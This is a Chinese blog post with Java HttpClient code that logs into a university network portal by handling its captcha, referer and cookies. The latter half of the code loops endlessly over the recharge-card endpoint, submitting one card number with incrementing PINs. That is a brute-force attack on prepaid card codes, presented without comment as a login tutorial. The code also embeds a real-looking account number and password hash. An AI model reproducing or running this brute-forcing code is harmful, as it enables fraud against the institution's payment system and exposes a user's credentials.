Java采用HttpClient对于Web登录

http://e.neusoft.edu.cn/nav_login

模拟浏览器登录该网站上方。登录server基于验证码、refer和cookie保护,此代码html档。

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;

import org.apache.http.Header;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.protocol.HTTP;
import org.apache.http.util.EntityUtils;
public class HttpRequst {
	public static void main(String strings[]) 
	{
	    HttpClient httpclient = new DefaultHttpClient();
	    try
	    {
	    	HttpGet getMethod=new HttpGet("http://e.neusoft.edu.cn/nav_login");
	    	getMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
	    	HttpResponse response=httpclient.execute(getMethod);
	    	Header arrHeaders[]=response.getAllHeaders();
	    	EntityUtils.consume(response.getEntity());

	    	getMethod=new HttpGet("http://e.neusoft.edu.cn/RandomCodeAction.action?

randomNum=0.9179729035059037"); getMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"); response=httpclient.execute(getMethod); EntityUtils.consume(response.getEntity()); String checkcode=""; Scanner scan=new Scanner(System.in); checkcode=scan.next(); HttpPost postMethod=new HttpPost("http://e.neusoft.edu.cn/LoginAction.action"); postMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"); postMethod.setHeader("Referer", "http://e.neusoft.edu.cn/nav_login"); List<NameValuePair> params=new ArrayList<NameValuePair>(); params.add(new BasicNameValuePair("account","13354284438")); params.add(new BasicNameValuePair("password","c11d5abf846db275243d94b8472706d4")); params.add(new BasicNameValuePair("code","")); params.add(new BasicNameValuePair("checkcode",checkcode)); params.add(new BasicNameValuePair("Submit","Login")); //加入參数 postMethod.setEntity(new UrlEncodedFormEntity(params,HTTP.UTF_8)); //postMethod.setHeaders(arrHeaders); response=httpclient.execute(postMethod); EntityUtils.consume(response.getEntity()); class PostThread implements Runnable { private HttpClient myclient=null; private int num=23453234; public PostThread(HttpClient client) { myclient=client; } @Override public void run() { // TODO Auto-generated method stub while(true) { HttpPost postMethod=new HttpPost("http://e.neusoft.edu.cn/rechargecard.action"); postMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"); postMethod.setHeader("Referer", "http://e.neusoft.edu.cn/nav_Rcard"); List<NameValuePair> params=new ArrayList<NameValuePair>(); params.add(new BasicNameValuePair("cardName","046uijalz101480")); params.add(new BasicNameValuePair("cardPsw",""+num++)); params.add(new BasicNameValuePair("Submit","提 交")); HttpResponse response; try { postMethod.setEntity(new UrlEncodedFormEntity(params,HTTP.UTF_8)); response = myclient.execute(postMethod); EntityUtils.consume(response.getEntity()); } catch (ClientProtocolException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } }; PostThread mPostThread=new PostThread(httpclient); mPostThread.run(); } catch (IOException e) { } finally { } } }



版权声明:本文博主原创文章。博客,未经同意不得转载。

原文地址:https://www.cnblogs.com/blfshiye/p/4826089.html